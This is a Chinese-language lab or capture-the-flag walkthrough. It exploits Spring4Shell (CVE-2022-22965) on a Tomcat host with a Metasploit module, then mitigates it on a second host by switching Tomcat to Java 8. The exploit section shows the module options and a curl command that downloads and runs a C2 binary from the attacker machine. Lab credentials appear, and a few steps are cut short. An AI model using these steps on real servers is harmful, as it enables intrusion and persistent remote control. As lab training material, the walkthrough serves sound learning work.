逐步指导如何使用 Metasploit 利用 CVE-2022-22965 (Spring4Shell)、部署 C2 监听器,并通过将 Tomcat 服务器降级至 Java 8 来缓解该漏洞。
| 机器 | IP 地址 | 角色 |
|---|
| Security-Desk (Kali Linux) | 172.16.200.12 | 攻击与工作主机 |
| Red Target (Linux) | 172.16.100.90 | 漏洞利用目标 |
| Blue Target (Linux) | 172.16.100.100 | 加固目标 |
凭证: playerone / password123
查看挑战面板中的网络映射标签页,确认 Red Target IP (172.16.100.90)。使用 curl 检查在端口 80 上运行的 Web 应用程序:
curl http://172.16.100.90
输出显示 Apache Tomcat 9.0.59,并重定向至 /dasmsp。浏览页面源代码,发现一个 POST 表单端点 /dasmsp/contact。
msfconsole
use exploit/multi/http/spring_framework_rce_spring4shell
set RHOSTS 172.16.100.90
set LHOST 172.16.200.12
set RPORT 80
set TARGETURI /dasmsp/contact
set PAYLOAD_PATH webapps/ROOT
set HTTP_METHOD POST
set ForceExploit true
run
漏洞利用成功生成了一个 JSP shell,修改了类加载器,清除了日志文件,并在 Red Target 上打开了命令 shell 会话。
会话打开后,输入 shell 升级为交互式 Shell。Metasploit 在目标上定位了 /usr/bin/script,并利用它弹出了一个以 tomcat 用户身份运行的交互式 Shell。
deploy_c2 二进制文件位于 Security-Desk 而非 Red Target 上。在 Security-Desk 上通过 Python3 HTTP 服务器托管它:
cd /home/playerone/Desktop/Resources/
python3 -m http.server 8080
在 Red Target 的 shell 会话中下载并执行:
curl http://172.16.200.12:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
输出确认:Done! — C2 监听器已成功部署在 Red Target 上。
在 Security-Desk 终端中:
密码:password123
Java 8 的 .deb 软件包位于 Security-Desk 的 /home/playerone/Desktop/Resources/ 目录下。通过 Security-Desk 终端使用 SCP 将其传输到 Blue Target:
scp /home/playerone/Desktop/Resources/*.deb [email protected]:/tmp/
传输的软件包:
在 Blue Target 的 SSH 会话中:
sudo dpkg -i /tmp/*.deb
由于挑战中的一个已知问题,若不手动将 Java 8 设为默认版本,检查项无法正确注册:
sudo update-alternatives --config java
选择选项 2 — /usr/lib/jvm/temurin-8-jdk-amd64/bin/java。
检查 Tomcat 服务单元文件:
cat /etc/systemd/system/tomcat.service
编辑文件以更新 JAVA_HOME 环境变量:
sudo nano /etc/systemd/system/tomcat.service
将:
Environment="JAVA_HOME=/usr"
改为:
Environment="JAVA_HOME=/usr/lib/jvm/temurin-8-jdk-amd64"
sudo systemctl daemon-reload
sudo systemctl restart tomcat
挑战面板中 "CVE-2022-22965 Mitigated on Blue Target" 检查项变为绿色。
spring_framework_rce_spring4shell 模块)